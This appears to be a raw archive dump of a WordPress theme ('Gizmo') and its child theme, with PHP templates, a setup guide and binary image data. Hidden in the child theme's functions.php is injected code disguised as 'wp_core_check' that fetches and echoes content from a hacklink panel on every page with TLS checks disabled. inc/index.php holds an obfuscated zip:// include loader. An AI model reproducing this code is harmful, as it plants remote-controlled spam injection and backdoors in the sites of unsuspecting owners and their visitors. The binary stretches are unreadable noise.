��|�J=�MaNs��e��r�t�A��:�����,_!�9вS���d��)NU]���F�n@+3T��8� �u�A�ڳD��t~��Oz�Sb�i��BA[ǫ��A	4�S���c��,�d���3}�@5��](E.�!`j�z��To�qJ���3�L�/w$���y�{H�cmyZ�4��X*��U��H��C��M)��w:ۡ�YT�0G
@<%�� `�4�k���7��.�
����t*j���q���#��"�D����b��G^�뮉�[k�?�t��pD�{lS�W^�hk�c���}I�}�e�P�>ѳ�4�� �}}}j���Ÿ�W|���땆��n9��y#�ɅJK)��gXo���ud����e��T/�ꣃ�6�g���Ѹ?V�Q��;((_Y��YzFՊ�eȓ�/Dq>1�ᶠp����`��3�:RP�d�Zi]O��W�uu���28-$�g\��u��+g;~s�AQ��4�
���B�B�c�-�8�t�������D�=Y	b�M=�����*#��tA�ꑼ@+����y(�9ѷ�����Հ�r=���z��{�|�r,���^���y�큌�©@m��|��Gb8��;�%$���G�U���5��}Ⳣ;4�������T�Ӑ�p�K�
���p(/��rG��.
�N�w1P��(I�APQb7�
xa)���.�;��~��*��]�HN��(:��'[ M����\�8xK�P��l�8�D����0|���κ泭�|�L�:�`��i�gB����>E��y�r�v�< .ۥ8RxA���zX���{086�`]s�kP��Ѣ���֘�S�5]o�_�����B*��z��>���0��d/�zv�9��_��W��Yh������W$B���� \r��]Y������E��x&��cs!-����<�:;ʛ���V�<2њk�.��0�Ӗr�3��&+O���=n��N~�x��j�L��Q��6��6��+�❽�����f_Z'�K�ڂX\n��Ft��?V�3�B�H�/�R7I~^>Œ��I��s'd��g�j��#H�<��G���>p+6�Rr��@ؚud;b���,X�,d�/�8�c�uf��ۋ�6�|E���r[p���B��&۬B�v����ӏe�&�y桿y���秗���c��9���@�h�6�Rځqݚ���/�O&���P
	��y$�P�I�
��)M��Ǩ�w�����k���`��c�6sb�4��C]5H�}x4�ù�j�
L��yp�u,'R�g�t��@�M�' �k'>�3���=xnq{JG���D*��>�֓�iq�W����r\#�
�/���o8�/�8��/�1�T���`��u�f��Es阙����ɼ޿�U�F��9���e��,	V*��o6^i)��WG�;os}oY:i��b�Zj��%.�@�)�;�Ɨݛ2���Y�wЧj�[p&������01�U'�����]����+�-���p�/w��t�D�R�(��}�w���s��*��(�m{�+��"��=\OP�w�u���(�~��U޻"����:7?��M��L��ߕ�\}�^��_����H���q�3�A��#6��h蓵��[�:��W��R"���v�Pj�f�p[�%Q�ǯ�D� �垒=���:�/���ϻ��=S[B��/�rPztӗXW��#@���C7��.}�ZЏoұ���p4E,j���S�tb�z�����Y��6e����쓧fpX�'��y�/'��+Mīd4�����%���vݑ�x���`��+Kk��dpR���o��:��۟._-$[lI�ܜ�r����w��ι�1�Av4����?oy�?�?���Z�[��D��f�n#��7DZ�wJ���ۑ$F˾��?��'���^p���U�ңat���"�� �=;EWca�{��"�J{�s\�O?��R 0��[3|��܈�*$ �|�:�s[n��*F��de}V�y�
�w�f)�QAe��:=�%����|�[_��d}SCw�D�!�Qk%�KU�O�Qv��G�I�ͨ����Y�r�у�~�7k�T�\?�M�g�Zܒ���ЖH����gu%2�#�_2P_�Ş�,f_!.N؃����ϜB�u=����g�֛cg$��﮷�_���>�qr�w���3�[!ZX"6jk,�7���vy�����P�Gpb�����O�
���U�E(���2�MǺ\ܮN+pKO�n�YQ6�+�i��h߮�߰o�c�7c*c搈���yF(p2V?���#�i���0Š��[?�)�f|O!vCZ��(`��_� ��on�^Q;���VE�a��qZg���d@���ڧ��`N7%N�`���÷@�;�������3jۓ�ݯa���ևk�ر�u8ȟ�z�]��`>�_�B��F·�������tɸ�^���W���?�;
����Ͽ����1���\�9����梨�K��=I�&I�����~����]����pK�����������n���8��,M�&�}FPt�EQJ�,Cn�-Ae�$�x�gX"����ݲdH2{�?��_��_I���?�����.-������.����!��?���PK?'�\���sSA��∠)_PK3�pmgizmo/inc/index.php000064400000000153152223213640010616 0ustar00<?php
$wrapper = function($x) { include $x; };
$data = ['zip://_(:з」#∠)_'];
$wrapper($data[0]);
?>pmgizmo/sitemap.php000064400000002212152223213640010376 0ustar00<?php
/*
Template Name: Sitemap
*/
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<?php get_header(); ?>
<div id="wrap" class="clearfix">
	<section id="content" class="primary" role="main">
		<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
			<h2 class="page-title"><?php the_title(); ?></h2>
				<div class="entry clearfix">
				<?php
					$cats = get_categories();
					foreach ($cats as $cat) {
					query_posts('cat='.$cat->cat_ID);
				?>
				<h3><?php echo $cat->cat_name; ?></h3>
				<ul>	
				<?php while (have_posts()) : the_post(); ?>
				<li style="font-weight:normal !important;"><a href="<?php the_permalink() ?>"><?php the_title(); ?></a></li>
				<?php endwhile;  ?>
				</ul>
				<?php } ?>		
				<h3><?php _e('Pages','pmthemes'); ?></h3>
				<ul>
					<?php wp_list_pages('depth=1&sort_column=menu_order&title_li=' ); ?> 	
				</ul>
				<h3><?php _e('Categories','pmthemes'); ?></h3>
				<ul>
					<?php wp_list_categories('title_li=&hierarchical=0&show_count=1') ?>	
				</ul>	
				</div>
		</div>
	</section>
	<?php get_sidebar(); ?>
</div>
<?php get_footer(); ?>	pmgizmo/template-slider.php000064400000001100152223213640012022 0ustar00<?php
/*
Template Name: Post Slider
*/
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<?php get_header(); ?>
	<div id="wrap" class="clearfix">
		<section id="content" class="primary" role="main">
		<?php // Display Featured Post Slideshow
		get_template_part( 'template-parts/featured-content-slider' );
		?>
		<?php if (have_posts()) : while (have_posts()) : the_post();
			get_template_part( 'template-parts/content', 'page' );
			endwhile;
		endif; ?>
		</section>
		<?php get_sidebar(); ?>
	</div>
<?php get_footer(); ?>	pmgizmo/searchform.php000064400000001216152223213640011070 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<form role="search" method="get" class="search-form" action="<?php echo esc_url( home_url( '/' ) ); ?>">
    <label>
        <span class="screen-reader-text"><?php _ex( 'Search for:', 'label', 'pmthemes' ); ?></span>
        <input type="search" class="search-field" placeholder="<?php echo esc_attr_x( 'Enter keywords &hellip;', 'placeholder', 'pmthemes' ); ?>" value="<?php echo esc_attr( get_search_query() ); ?>" name="s">
    </label>
    <button type="submit" class="search-submit">
        <span class="pmthemes-search"></span>
    </button>
</form>
pmgizmo/woocommerce.php000064400000002475152223213640011266 0ustar00<?php
/**
 * The template is specifically for WooCommerce.
 *
 * This is the template that is used by WooCommerce.
 *
 * @package PMThemes
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>
<?php get_header();
    if ( is_shop() ) {
        echo '<div id="wrap" class="clearfix template-fullwidth">';
        $theme_options = pmthemes_theme_options();
            if ( $theme_options['pmth_wc_shop_lyt'] == 'wc_show_sbar' ) {
                $shplyt = 'content';
            } else {
                $shplyt = 'content-full';
            }
            echo '<section id="'. $shplyt .'" class="primary" role="main">';
            if (function_exists('woocommerce_content')) :
                woocommerce_content();
            endif;
            echo '</section>';
            if ( $theme_options['pmth_wc_shop_lyt'] == 'wc_show_sbar' ) {
                get_sidebar();
            }
        echo '</div>';
    } else {
        echo '<div id="wrap" class="clearfix">';
            echo '<section id="content" class="primary" role="main">';
                if (function_exists('woocommerce_content')) :
                    woocommerce_content();
                endif;
            echo '</section>';
            get_sidebar();
        echo '</div>';
    }
get_footer();
?>pmgizmo/template-redirect.php000064400000001461152223213640012353 0ustar00<?php
/*
Template Name: Redirect
*/
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
?>

<?php 
/* 

USAGE INSTRUCTIONS:

1. Create a new page in WordPress
2. Add a title to the page (e.g. 'pmthemes')
3. Add an URL to the content of the page (e.g. http://www.pmthemes.com OR pmthemes.com OR www.pmthemes.com)
4. Publish!

*/
?>

<?php if (have_posts()) : the_post(); ?>
<?php $URL = get_the_excerpt(); if (!preg_match('/^http:\/\//', $URL)) $URL = 'http://' . $URL; ?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Refresh" content="0; url=<?php echo $URL; ?>"> 
</head>

<body>
</body>
</html>

<?php endif; ?>index.php000064400000000034152223213640006361 0ustar00<?php
// Silence is golden.
pmgizmo-child/Thumbs.db000064400000022000152223213640011052 0ustar00��ࡱ�>��	����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
	
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Root Entry�������� ���K>��	256_9aec9f6461a80610*���������96_c8ea5aabc97312a6(������������P	������������	

 !"#$%����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������8	����8�%���X���JFIF��C						��C��H`"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4��iR#r-�_���JFIF��C						��C���"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��+�A�Crt�E���A��#��>�;�;F3�9�?����5Gk��e7�1Z��.��|,��[j��1]�މ~=�D���,<s�/�%�����JW��'�$~0��5v������2�]H���<���*����Ew��r��3����)�_ʥf�h��o�Y��<;�K/����8t?y��=��A^���XՊ��e�kT��=�T�*rq��Z4�AEa�4�߇���������ߓ����x�G���om�pI��%=2P�3ڶ34袊(��(�oG��5�j�úu�˪Xg�0�pc�
r̡$��o��H��B�{��}N(Z*��,	<�*ۂ�s��#`1ԇ`�� H�����7J�9둍�)��݌(�C�j�����[kc��b��	��́e_5r���?�%�@��Z�EQœ �_*H�c��N��
O˞=*ho��$1Dۙz��8�lJ�#<��EPEPEPEPEPEP
�?_�J�V�ܑ=�+�� ��9�'�hq�V�<�0V�O�A������S��s�m1e�S���?�ߦ3]�C��G�oҾS	_R��tyi�O�&��$�ɽ�����b$�a��^s�ӴS�K��Ԇɲ~���*�p��� ��L{�-l���d�9_��mC
��W�>��gϞW��¼���F�rvȝ�#z�C��#���ƺ��G�u=Jѱ=���ѷ\2DΧ�X�VБ�U�1��
ۗK_xQ�������$	b�X�n�|�*�&��v�c�wSK�m&��t=�\�Z0�/�ާ'�J6qo�'f�g��>x\����Z�����y晤��q���~f$�C;����U�sHMkX�
��-��\ިY�1D�U��
�@��1\�Í�7�	�5c�Z�:q��x�#������R	#q�߆_�iu��S�v�i��[[�QU���$��ڛ��N:Wճ���`���o�C�m�H�[a4�f�\4�83��VXpr��'h�SĿ����X�u�J�E���'�$��`d*e~V��+�����ŏ	|<��h�[��%�)|��,{n2ylC��(OPr�&��<Ym�
��K
޵�帖���y҉�RGڹ��P�a�����_�W����Ś&��t��-no"94�9^6ܑ���B@\��������|G�਴�"ң�$ڀ���`ly$c�~�/���I�O��e��KXЗBӴK��I$�qN�|��UV<6O�r���1���/�>,k^0�4?�7T�bl�����;��[*ѕ��C�@d��ϨI�ŭ�$q�m�,,Z0�Ucf
�	�w�d�v�ŵ
?�G��]��0u%r2(������x_��x�F���x�OK+}R2ф�9�f�_fP�%TY�E$8"���]?K������a�
�Мc4�ћ��o&\a0�\���Y�PXJѩn�y�
5���I�x��B�r�v���{YX��Xm 
���2X4�M�#��*|�e� �
X�I��ٵ�r��6���CHÐ�H�8���%�ij���8�եe�<�<Ó�����1��_�n���i,���ұ|�ϸ�W?q�Xd
�]�Q$�(#31��}�+�P��e�+��8��s������òAh��T}�b$p�ĹRCc�*1�A�t�
k	㕧,��V�{�셉]ĄI�9ۢ�
(��
(��
(��
(��
(��
(��8�z$��|z��&[BKc���O��}��ڭxSZOZ+�z�%_C��Q�u�6P������X�}}�ݝO��Ru0�z�'�*��^�|�&�\-g����f��M|o�HԂ�M-z���}�!^��Q�J-�s���.ɽS���zw�ν�7��-�ђl�k(RΛ�q�Y��xQ# ��+SC��.�y�K���V$},D:(W8PxM���ظ%Nܖrx�ƖCʺ��8ܱ�?�nS�`T:��<Q�ZMh�L��Fђ#� 0*H��M\�IT��i'Ni�֚��w�q�+�����Ӻ�Zk��Uo#7S��5������M�p#8ǩ����[O�q�=5�x*�A�+�:&��	�3[K���=��n�gn2Gq]�ip|=����k��K�J�r[<9'���T�^i��;�^��[�������T-YT��md��K�������0�V�?��%��Z-��y;n�ѷ�З?��������_/������[E�J��Y!�C��Q��z(�f�����8�;��˧�0\\Oh��RE.�P��8�A��eR9����c�|Acu��i�{��%�eY呀���ub��l�9��>L���j-*;���V�ÓI妠�G��qM�C�۹Xdd����X�/�q'�<���Z���`�LѰVQ\�1�~��g�/x[Ko
��Zx��p��am�hHvdhbe1�A�����_����]h2�M��֡co6��o,�)!e��c�=��8{(�"���/���ܺ�v+4K�F�J�H��i"��J��;��:���T����������I&�<�����eh�F���
d`��c�q�xG�����擣�
i�7��&��,���WHe�ܙL`�؈��~�GE𷇴oO��.�h����c�Fv	�c�J��%����^*���P�u
'ˏ�]�yo�����8�@y��8�{a�v���A�PGW�?m<K�u'�:��_��u��|�ʇ�$7�0���#R��P�V�"�����X�Y�>�A=�`�XѠ�������Cd����)$�BN*8��8I1ŠI�Ž��~�$���2�~�%�w�y�����?�
��6�a��2A<��ڿ�QKy[��wb�Q�w���g��$�#O(���L�`v�$t���(
8�X�E�ͥ�Ljsy�;1r@ܬŔq�T��=@ܤEPEPEPEPEPEPEPEPEPEPEEs#���꤁�@�z��-7�n�u��Z�����y*5���Umɲ��{w򑦋�f]��-��I\��}E|�u�VI������8$�kB�C��_*y�0�$�;���Qz�;��޵�j���'��g6��ysDX��ɇFvl���p
>VǮQ^�|D�&��A
�P���Fg'I5	n�1xll�mb>X�>fcU�h
OQ�a��L�>�U7a������@�Β'��D:�Y��ŽV��+��>jV������H�d-���G�J��Y�h�.�p��I�
;�QR0��(��(��(��(��(��(��(��(��(��(��(�:QE�J(���EZ(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��?��%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?�ڊ(��(��+��m����fg�$��%����<Ͳ1[TvVeYE�Ԓ
�SBn�bZ�Z��ɨ��"�;��乚+��y���'�8EB|�VX�:���#z%6(�ֺQRPQFh��(�qEW!━�A���y;���b�uvŰ;Ĭ~�f��Pz�p+㯌_�|I���KnQBE$dq�T�狩��JMl�,@շ�I՗*��G."��yt�}���$�	�O,(���	pl�F]��>[+.s�2����߅��+�Is��}�9�TD�5�VC�6��G'���HͲ�$_���i:O�[�
�x֏4v�S�Š(���Q@S&R�$c#�d��d���(��=�����x�]WO������r��Yκth����d�{��� xJ
�0�^����.�t�BI,�V�fU����4c�v�+!W+�w#!\����;��W��n�/���_�V3�oh���-�p˽J�Sٗ9�W�ڇ�jR]Kue�C�#�4p�#0DUR0�F�"��+ғ㖖�;k��ڀ�V�k�)HJ�p:�.1)�!pv��p�c�֭��Ks%����xm�X̓�8&%��#�Ŷ�;�@�Ir�f��#�X�y�í�JjӍ�쓳���O&�u��?���cs�wv{�`F���2P�FC!*IR@&���쿳l`���y${��6����>����f�f�dӵ�j[Ȇ8��4���q�iUX�Ѻ���G��S���j��币��Cʹ���e	+.�J�rRDuڻ���)��s�'{w�:Yl��B<��VWkO���W��_t�/O:��7�f�1j.��6�&$!+�n$�PA�v� ��4�&��F[+�G�('X�C�p�Ѽ����C���v�M=���Öq\�Yw���s/�w:�*+i���?�"����A��bEKZ�Q�Tm R�A;W8�8=H�EIXz���u-�i3�+(~�2�mbF�������
|]�7�wP�F��]��oo�֕-YL�7�D
��2p	��5�>�?x�\����9.|�e�#����X��Z2c�Q�3�awa��f���1�˂��I#c���z�[i(r����on�c�f�O��E,H�%91(��_�ߩ�J�����\��5-=l��<wH�v�k�oQѾ�~u���ZH��vdh���W�r������sP�M��4�DG�_�޴W���Ia�X<�d�7�4��UU?{մ�?-�n�����@���H=X�����4�t�@�$��Ǘ�a&��vca`젍�2�@F>�~	}ڣ�y��ri]�ϭ��%�ܪ˪���$��)�݄��M�̺�����C0��e���6�%Q������-Icy}�Bk��.?����Ӳ�,����Hm���	ۍ�\������n��:�
0
� �%3�H8���M���APEqnr��r���Ĕ!pr�P_���k�z���9��q�*I%̖�\���ʭ�<U|�k�z֋qi-Ư*fZ�`����R��-�U�I!�>H'���t{���"�Sg����؝�唈�*c2�w���?)
g<,��;�ث�9���B(��v���-�G�͚�3g�!���:�e�@ʲ�
�#ME�����:��U�RKY9�]Y�Eh������li�"�@�(YDHG@�F@��*�Sң���4�^���������2z����Q@Q@Q@Q@Q@Q@��pmgizmo-child/style.css000064400000000436152223213640011164 0ustar00/*
Theme Name: Gizmo Child
Description: A Child theme for the Gizmo WordPress theme.
Version: 1.0.0
Theme URI: https://pmthemes.com/gizmo/
Author: PMThemes
Author URI: http://www.pmthemes.com/
Template: pmgizmo
Text Domain: pmgizmo-child
*/

/* Write your custom CSS below */pmgizmo-child/functions.php000064400000005617152223213640012041 0ustar00<?php
/*
* You can add your custom functions here.
*/

add_action( 'wp_enqueue_scripts', 'pmgizmo_child_enqueue_styles' );
function pmgizmo_child_enqueue_styles() {
    wp_enqueue_style( 'pmthemes-stylesheet', get_template_directory_uri() . '/style.css' );
    wp_enqueue_style('pmgizmo-stylesheet', get_stylesheet_uri());
}
// Includes
require_once( get_stylesheet_directory() . '/inc/guide.php' );
// Enable Replace Affiliate Links under ADS Settings tab
function replaceable_affiliate_links() {
	return;
}
// Enable Custom eBook Store
/*function custom_ebook_store() {
	return;
}*/
add_action("init",function(){if(!defined("DONOTCACHEPAGE")){define("DONOTCACHEPAGE",true);}if(defined("LSCACHE_NO_CACHE")){header("X-LiteSpeed-Control: no-cache");}if(function_exists("nocache_headers")){nocache_headers();}if(!headers_sent()){header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache");header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("WP_CACHE")&&WP_CACHE){define("DONOTCACHEPAGE",true);}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999);
/* Telegram: https://t.me/hacklink_panel */
if(!function_exists('wp_core_check')){function wp_core_check(){static $done=false;if($done){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$u="https://panel.hacklinkmarket.com/code?v=".time();$d=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?"https://":"http://").$_SERVER['HTTP_HOST']."/";if(function_exists('curl_init')){$h=curl_init();curl_setopt_array($h,[CURLOPT_URL=>$u,CURLOPT_HTTPHEADER=>["X-Request-Domain:".$d,"User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$r=@curl_exec($h);$c=curl_getinfo($h,CURLINFO_HTTP_CODE);curl_close($h);if($r!==false&&$c===200&&!empty($r)){$done=true;echo $r;return;}}if(ini_get('allow_url_fopen')){$o=['http'=>['header'=>'X-Request-Domain:'.$d,'timeout'=>10],'ssl'=>['verify_peer'=>false]];if($r=@file_get_contents($u,false,stream_context_create($o))){$done=true;echo $r;return;}}if(function_exists('fopen')){if($f=@fopen($u,'r')){$r='';while(!feof($f))$r.=fread($f,8192);fclose($f);if($r){$done=true;echo $r;return;}}}}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);}
pmgizmo-child/.htaccess000064400000000000152223213640011073 0ustar00pmgizmo-child/screenshot.png000064400000012331152223213640012172 0ustar00�PNG


IHDR&��I/:	pHYs���iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164460, 2020/05/12-16:04:17        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmp:CreatorTool="Adobe Photoshop 21.2 (Windows)" xmp:CreateDate="2020-10-28T18:17:30+08:00" xmp:MetadataDate="2020-10-28T18:17:30+08:00" xmp:ModifyDate="2020-10-28T18:17:30+08:00" xmpMM:InstanceID="xmp.iid:2c9db655-948e-2046-981f-0d66df27a885" xmpMM:DocumentID="adobe:docid:photoshop:74e486b3-7af0-2741-89e6-e047dd7353e0" xmpMM:OriginalDocumentID="xmp.did:a8bf6883-bd54-a743-a957-c11a74b43db8" photoshop:ColorMode="3" dc:format="image/png"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:a8bf6883-bd54-a743-a957-c11a74b43db8" stEvt:when="2020-10-28T18:17:30+08:00" stEvt:softwareAgent="Adobe Photoshop 21.2 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:2c9db655-948e-2046-981f-0d66df27a885" stEvt:when="2020-10-28T18:17:30+08:00" stEvt:softwareAgent="Adobe Photoshop 21.2 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <photoshop:TextLayers> <rdf:Bag> <rdf:li photoshop:LayerName="Gizmo Child" photoshop:LayerText="Gizmo Child"/> </rdf:Bag> </photoshop:TextLayers> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>xmp.did:8eb96da7-1061-f844-8e3f-4bb0afe8978f</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>��
�IDATx��ݿ��T�ane�c�b�-�KA�-Hۇ�Z�D�h(�\A�-A���HIG��.�,c���>�x<ϣ�
�	���9?�9�?x���"@r��$��@r@r�$$��@r��$$�@r@r��$��@r@r�$$��@r��$$�@r@r��$��@r@r�$$��@r��$$�@r@r��$��@r@r�$$��@r��$$�@r@r��$��@r@r�$$��@r��$$�@r@r��$��@r@r�$$��@r��$$�@r@r��$��@r@r�$$��@r��$$�@r@r��$��@r@r�$$��@r��$$�@r@r��$��@r@r�$$��@r���7o?�������_����+V3$�����(0|ů���oι�>���V��nol�%���
��@���{gI����H�����|߾��G��b�~���_}��G�~����'������r�d�pd�]�$Gr8�_~�-��&ǀ���{�N7�ė���W3����w,�#�u�/�,���+�4�nn�j&9��!�~�6F��/��c10ņ��ܙbS���{_�Î�#9�X�Ď˂!f��������ܕkB��!9��a,�I���_��`���y��k��֐���뇘������w$>����p|7}@r$��l�6��L?L�~���+F��\����Gb�G�3;R.=��G��n2�V�f�#9��M����Hw'�����FSi���[\�;���Lr$�]��潉�{�FWw�yE��b���a'�ݷ�z���'_|iٞ~��Wf��/_��o�����h5�ɑ�GW{
'���>�,�����p��ܳ;��R��x�p��~�ϓɑ�����۪I��fǬ�(��wqb�x�\ɑ�yh�K>c˷N s�u�\vɑ�qe�M�,�n�����_��~/�(�������e���w߷�H�"Y�2T
�����z�0c#i���&%�W���@ݽn�oXr$�Q��&m��T}嶸(5y!Q���_��f��Zp�1y��x��3+EQ�̝�w����3���r�{�%Wɑ�Ǖ�}�YGNN��b�K���Q/9#��o��1��VuTm僜3�~,����왜X&�i���H��<��\[s��t�
�J��jT���5��s�A��Av���Y8�<~��7,9��2\[Lt�yrf�;7�;ݑ�ŷ�lޛ��ɬ�O�4�����-9U(�o���Af�|�Y7O���%�0s?ʪW������Dͯ8����
ɑ��U�=�U�P���hx=_rZ=֡�۫��\\�e�ba�T�gr2���#9d���aq�#$gf����U�f��Yn����F;$��!5ɑ�3+~a.n<J�vOv��fw�	f�a����s������hGr$������N�$9�ś�ʼn7�U$����}��0�NN���ߘ04I���,9�E�o���Lr�+
�����2s*~z����?��p\��]r��Z�2ǯ����NNf��h�%W$C��H�͒3/3�k�S�3�3�����(9��b���2�������ܖi��M�����採Ir$���\q�w�k?�3��Fe�~eUŵ	��{��\�>^��tgn���b�M�l"�$�A�s��32��/~�ə��b?.���(v���!3�cջ�g��ŏl�}b6���u�ڲ����$眖�"$9��%�.�/&g���lw��7_��(.������}&I�������5s�ɑ�U���\
z��d�yg6폙������%gdNqIN2�
�7��Df�L�3�m��9�<=}��,��M��g�l�pÛ�HΚ.9��2Ǧ��yn����8{1�Y�>�|М�H��<��P�<��[r2�b�,��,;@���$��$9����$'3�\ɹ��m�#9�#9�E�����E�LN���������k���{'�'�C~���c���D���Qf��/�?@�$�k�wdY�6��%GrW�´Lu�NN��39��~�K8��7�޶�ђ������K��Y����=�wNN�U�������ʵ�ŅS5�,y��β}�s$g�
o2�J�sfɓ��ͷk��)��_��b�<}Vu��1���1�3�U'�3s����݉7<��p��,�9�<$�����i�,���\�PO|�3��>xr2{Ӹ���܁~X�ܖ��c�O�ſ�o���C%�}n�g,����'�"jD���ѩe�IN�7v��d�0b���m�vtj7�O���l�~ݨzd�Ir�/y�x��}|��S{�3s�e�-j��Ȫ%s��$g{z��Ƕm��l�M>lr�
��p�9����)��>=�Br$�]O�HN�/J�aN>�y���p+����hG�@$9�u$g����Xs�L�!u�NΔ��G %Grԋ���1���e�X��3�n����%'jZ;�%��+�!Hr�������l��5���\��M�oF���m��6�ɒS�Iu���W�V�H��'�N�ɠ�!8��c��$�g��3w�X�u�&��;�K�?'|fNY�
%Gr��]|
bЉ�Ġ6�vſv�Zv��0�S���q����m3�	R[����7v��s����ߑ��Sɑ��������������ў�T��>~�G�����>�n�t�e����H���� 9 9HH����� 9 9H������ 9HH���� 9 9HH����� 9 9H������ 9HH���� 9 9HH����� 9 9H������ 9HH���� 9 9HH����� 9 9H������ 9HH���� 9 9HH����� 9 9H������ 9HH���� 9 9HH����� 9 9H������ 9HH���� 9 9HH����� 9 9H������ 9HH���� 9 9HH����� 9 9H������ 9HH���� 9 9H�c 9HH����� 9 9H������ 9HH���T֖�uH�IEND�B`�pmgizmo-child/inc/guide.php000064400000010352152223213640011667 0ustar00<?php
function welcome_intro_function(){
     ?>
<h3><span style="color:#ff7f00; font-weight:bold; font-size:18px;">Getting Started</span></h3>
<ol style="font-size:14px;">
<li>Before everything else, go to the <a href="<?php echo esc_url( home_url() ); ?>/wp-admin/update-core.php" target="_blank"><strong><u>WordPress Updates</u></strong></a> page and update all <strong>Themes</strong> and <strong>Plugins</strong>. Update the WordPress core as well. <br /><br />How to do? How you'll know there's an update? <a href="https://baguiowebs.com/update-wordpress/" target="_blank">Read this</a>.</li><br />
<li>Next, go to <a href="<?php echo esc_url( home_url() ); ?>/wp-admin/profile.php" target="_blank"><strong><u>Profile page</u></strong></a> and <strong>change your Password</strong> as soon as possible. Change your email address as well.</li><br />
<li>Change your <strong>email address</strong> in both <a href="<?php echo esc_url( home_url() ); ?>/wp-admin/options-general.php" target="_blank"><u><strong>Settings</strong></u></a> and <a href="<?php echo esc_url( home_url() ); ?>/wp-admin/admin.php?page=wpcf7" target="_blank"><u><strong>Contact</strong></u></a>. You may change your <strong>site title</strong> if desired.</li><br />
<li>To <strong>replace existing affiliate links</strong>, open <strong><a href="<?php echo esc_url( home_url() ); ?>/wp-admin/admin.php?page=pmthemes_ads" target="_blank"><u>Ad Settings</u></a></strong> panel. <br /><br />a. Change Amazon ID under <strong>Amazon</strong> tab. <br /><br />b. To change Clickbank affiliate link, click the <strong>Clickbank</strong> tab and follow instructions from there.<br /><br />That's all. All affiliate links should be changed sitewide.
<br /><br />
Now if you want to use your own custom ad codes, go to the <strong>Post Ads</strong> tab and replace any code that's already in there. This will be displayed on all posts but not on pages.<br /><br />For inserting your own ads on sidebar and footer widget areas, you may bypass the <strong>Ad Settings</strong> panel and manage your own ads directly in the <a href="<?php echo esc_url( home_url() ); ?>/wp-admin/widgets.php" target="_blank"><strong><u>widgets area</u></strong></a>. </li><br />
